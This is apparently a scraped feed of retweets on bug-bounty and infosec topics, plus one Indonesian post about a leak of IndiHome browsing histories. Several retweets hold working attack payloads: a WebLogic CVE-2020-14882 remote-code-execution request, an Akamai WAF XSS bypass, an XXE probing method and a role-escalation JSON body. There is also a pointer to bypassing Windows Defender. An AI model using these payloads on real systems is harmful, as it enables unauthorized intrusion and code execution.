tiara retweeted
Tahun 2020 kemarin kita berhasil menekan @IndiHome untuk mematikan tracker milik mereka yang selama ini digunakan untuk mencuri browsing history milik pelanggan.
Sekarang 26 juta browsing history yang dicuri itu bocor dan dibagikan gratis. Ternyata berikut dengan nama dan NIK 🙂
tiara retweeted
Hunting CSRF: An attacker’s perspective:✅
👇 💣
#bugbountytips #infosec
tiara retweeted
[4/n]
2. Convert the content-type to XML using the "Content-Type Converter" Burp Extension.
3. Process the Request and if the request is processed successfully, it means that the XML parsing is supported.
4. Now, attempt to exploit XXE
Interesting Read: netspi.com/blog/technical/we…
tiara retweeted
Just published a write-up on Account Takeover due to OAuth Misconfiguration + CSRF + XSS and Weak CSP.
blog.dixitaditya.com/2021/11…
#Pentesting #hacking #cybersecurity #infosec #bugbounty #bugbountytips
tiara retweeted
Query the gitbla version number through the css file name and build a database index
Example：gitlab/gitlab-ce:13.9.5-ce.0
application-d161b6e25db66456f8e0603de5132d1ff90f9388d0a0305d2d073a67fd229ddb.css
fofa.so/result?qbase64=Ym9ke…
censys.io/blog/cve-2021-2220…
tiara retweeted
#CVE-2020–14882 Weblogic Unauthorized bypass RCE
http://x.x.x.x:7001/console/images/%252E%252E%252Fconsole.portal
POST:
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2….ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)
testbnull.medium.com/weblogi…
tiara retweeted
Pretty interesting writeup on bypassing ModSecurity WAF for SQLi.
🌟"When MySQL sees 1.e(abc), it will ignore the 1.e( portion because the following characters do not form a valid numeric value."🌟
blog.h3xstream.com/2021/10/b…
#bugbountytips #bugbounty #infosec #cybersecurity
tiara retweeted
Let's bypass Windows Defender using reflection in Powershell. themayor.notion.site/53512dc…
tiara retweeted
Here's my PoC exploit for CVE-2021-34866 :)
blog.hexrabbit.io/2021/11/03…
tiara retweeted
PSA: Basic cyber hygiene still stops most ransomware. Quit spending money on the steak and lobster when you can’t even keep your lights on. #hottake 🔥
tiara retweeted
Akamai XSS WAF bypass for ASP-style comma separated HTTP Parameter Pollution Reflection (Chrome only)
?id=1&id=2
⬇️
<input value="1,2">
?id="&id=onpointerrawupdate="a=confirm&id=a(1)
⬇️
<input value="", onpointerrawupdate="a=confirm, a(1)">
#bugbountytips #BugBounty
tiara retweeted
Alhamdulillah
I earned $2,500 for my submission on @bugcrowd
#ItTakesACrowd
#bugbountytips
While inviting a user from the lowest user account, change the user role to OWNER.
Json POST Request:
{"role":"OWNER","email":"input attacker email"}
tiara retweeted
Free and Affordable Training for:
-Digital Forensics
-Incident Response
-Malware Analysis & Reverse Engineering
-OSINT
-DFIR/Blue Team/OSINT CTFs and Challenges
training.dfirdiva.com/listin…
tiara retweeted
The Challenges of Fuzzing 5G Protocols - exploring the security of #5G protocols (NGAP, GTPU, PFCP, & DIAMETER) using both proprietary and open source fuzzers, by Mark Tedman & Philip Marsden
research.nccgroup.com/2021/1…
tiara retweeted
I showed this to someone today and decided to put on github: importsort, a tool I made to parse directories of Windows binaries and group dlls/functions with the executables importing them. Can figure out what might be interesting to investigate further.
github.com/netspooky/imports…
